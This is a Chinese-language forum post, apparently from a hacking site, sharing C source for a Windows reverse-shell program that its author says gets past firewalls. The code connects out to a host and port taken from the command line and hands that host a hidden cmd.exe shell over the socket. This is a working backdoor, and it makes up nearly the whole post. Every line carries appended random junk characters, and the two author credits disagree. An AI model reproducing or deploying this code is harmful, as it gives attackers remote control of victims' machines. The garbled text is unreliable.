这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F%y#)53g
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/* ============================== igTs[q=Ak
Rebound port in Windows NT a] c03$f K
By wind,2006/7 'j'6x'[>]
===============================*/ >V)#y$Z
#include W7|nc,i0\
#include '>|Kd{J0
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#pragma comment(lib,"wsock32.lib") KS5a8'U
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void OutputShell(); j-/$e, xX
SOCKET sClient; 6rE8P#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5#f_1
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void main(int argc,char **argv) M<l<n$rYS
{ ^"lEa-g&
WSADATA stWsaData; VgbT/v
int nRet; bydI+pVMo
SOCKADDR_IN stSaiClient,stSaiServer; EVqqOp1$v4
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if(argc != 3) (g[WZB3x
{ EY)?hJS,
printf("Useage:\n\rRebound DestIP DestPort\n"); f\$_^dV
return; 'e<8j
} GK6~~ga=
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WSAStartup(MAKEWORD(2,2),&stWsaData); zI^:{]p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); er
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stSaiClient.sin_family = AF_INET; }vP(SF6
stSaiClient.sin_port = htons(0); PpLhj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $P8AU81
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x3 ( _fS
{ _XT;
printf("Bind Socket Failed!\n"); Vy/G-IASb
return; @R;k@b
} ;c|_z 9+
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stSaiServer.sin_family = AF_INET; C
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pIpdVKen
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >ZgV8X:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D\J.6W
{ eq"Xwq*
printf("Connect Error!"); NTK9`#SA
return; icVB?M,m
} ;U a48pSv
OutputShell(); u+6L>7t88I
} 4kV$JV.l
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void OutputShell() g%ys|
{ %ib7)8Ki0
char szBuff[1024]; yP` K [/
SECURITY_ATTRIBUTES stSecurityAttributes; .*+jD^Gr
OSVERSIONINFO stOsversionInfo; muK.x7zyl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )L":I
STARTUPINFO stStartupInfo; >@a7Zzl0H
char *szShell; W"t^t|H'~
PROCESS_INFORMATION stProcessInformation; T.%yeJiE
unsigned long lBytesRead; ]w4?OK(j
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )@tHS-Jf
?} E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s`v$r,N0
stSecurityAttributes.lpSecurityDescriptor = 0; 8y[Rwa
stSecurityAttributes.bInheritHandle = TRUE; ;V f{3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N<Ym&$xR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {}RU'<D
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t-}IKrbv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m9DTz$S.
stStartupInfo.wShowWindow = SW_HIDE; Q$k#q<+0
stStartupInfo.hStdInput = hReadPipe; #2Vq"Zn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :}#j-ZCC"
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GetVersionEx(&stOsversionInfo); AG;KXL[V
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switch(stOsversionInfo.dwPlatformId) ^;[_CF_
{ %z.d;[Hs
case 1: |]Hr"saO0
szShell = "command.com"; 'w<^4/L Q
break; '0o^T 7C
default: XVo+ <&
szShell = "cmd.exe"; }1CvbB%,A
break; Cy5iEI#
} @~5Fcfmm
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0G Q8}r
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send(sClient,szMsg,77,0); nKEw$~F
while(1) 4v{Ye,2
{ 2FO<Z %Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J*6B~)Sp@
if(lBytesRead) 0=40}n&`
{ <QaUq`,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); . _Jypk8
send(sClient,szBuff,lBytesRead,0); $GhL-sqm
} id`RscV]
else Es\J%*\u
{ c]$$ap
lBytesRead=recv(sClient,szBuff,1024,0); \TDn q!)?
if(lBytesRead<=0) break; g]BA/Dw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t!B,%,Dp
} Xw|-v$'y
} $j@P8<M7
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return; f^IB:e#j;
}